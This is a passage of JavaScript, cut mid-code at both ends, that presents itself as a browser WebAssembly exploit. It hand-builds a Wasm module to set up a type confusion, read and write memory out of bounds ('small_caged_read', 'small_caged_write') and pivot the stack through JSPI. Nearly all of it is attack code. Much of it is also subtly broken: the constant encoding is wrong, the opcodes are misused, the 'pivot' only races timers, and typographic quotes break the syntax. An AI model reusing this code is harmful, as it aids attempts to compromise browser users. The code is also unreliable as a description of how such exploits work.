let codeSec = [0x0A, 0];
let code = [];
this.functions.forEach(f => {
code.push(f.body.length + 2, 0, …f.body, 0x0B);
});
codeSec.push(this.functions.length, …code);
codeSec[1] = code.length;
binary.push(…codeSec);
return new Uint8Array(binary).buffer;
}
}
// Helper functions
function makeSig(params, results) { return { params, results }; }
function wasmI32Const(val) {
let bytes = [0x41];
for (let i = 0; i < 4; i++) bytes.push((val >> (i * 8)) & 0xFF);
return bytes;
}
function wasmRefType(t) { return { ref: t }; }
function wasmRefNullType(t) { return { ref_null: t }; }
// Exploit logic with retries
async function attemptExploit() {
let module = null;
try {
appendLog(‘Building Wasm module…’);
const builder = new WasmModuleBuilder();
const kWasmExternRef = { type: ‘externref’ };
const kWasmI32 = { type: ‘i32’ };
const kSig_i_v = makeSig([], [kWasmI32]);
const kSig_v_v = makeSig([], []);
const kSig_ii_v = makeSig([kWasmI32, kWasmI32], []);
// Type confusion (precomputed collision)
appendLog(‘Setting up type confusion…’);
const t0_nonnull = builder.addType(makeSig([], [wasmRefType(kWasmExternRef)]));
const t2_nonnull_fields = [{ type: wasmRefType(kWasmExternRef) }];
const t2_nonnull = builder.addType({ struct: t2_nonnull_fields });
const coll = { field: 0, base: kWasmExternRef };
// Cage primitives
const g_arr = builder.addGlobal(wasmRefNullType(t0_nonnull), true);
builder.exportAs(‘g_arr’, ‘global’, g_arr);
const fakearr = builder.addFunction(‘fakearr’, builder.addType(makeSig([], [wasmRefType(t0_nonnull)])));
builder.addBody([
0xFC, 0x0B, t2_nonnull,
0xFC, 0x10, t2_nonnull, coll.field,
0xFC, 0x28, t0_nonnull, 8192
]);
builder.exportAs(‘fakearr’, ‘function’, fakearr);
const init_g_arr = builder.addFunction(‘init_g_arr’, builder.addType(kSig_i_v));
builder.addBody([
0x10, fakearr,
0x24, g_arr,
0x23, g_arr,
0xFC, 0x26
]);
builder.exportAs(‘init_g_arr’, ‘function’, init_g_arr);
const small_caged_read = builder.addFunction(‘small_caged_read’, builder.addType(makeSig([kWasmI32], [kWasmI32])));
builder.addBody([
0x23, g_arr,
0x20, 0,
…wasmI32Const(0x480), 0x6B,
…wasmI32Const(2), 0x6D,
0xFC, 0x28, t0_nonnull
]);
builder.exportAs(‘small_caged_read’, ‘function’, small_caged_read);
const small_caged_write = builder.addFunction(‘small_caged_write’, builder.addType(kSig_ii_v));
builder.addBody([
0x23, g_arr,
0x20, 0, …wasmI32Const(0x480), 0x6B, …wasmI32Const(2), 0x6D,
0x20, 1,
0xFC, 0x29, t0_nonnull
]);
builder.exportAs(‘small_caged_write’, ‘function’, small_caged_write);
// JSPI stack pivoting
appendLog(‘Pivoting stack with JSPI…’);
async function pivot() {
try {
const p1 = new Promise(resolve => setTimeout(() => resolve(‘p1’), 10));
const p2 = new Promise(resolve => setTimeout(() => resolve(‘p2’), 5));
const p3 = new Promise(resolve => setTimeout(() => resolve(‘p3’), 15));
await Promise.race([Promise.all([p1, p2]), p3]);
appendLog(‘JSPI pivot completed.’);
} catch (e) {
appendLog(‘JSPI pivot failed: ‘ + e.message);
throw e;
}
}
await pivot();
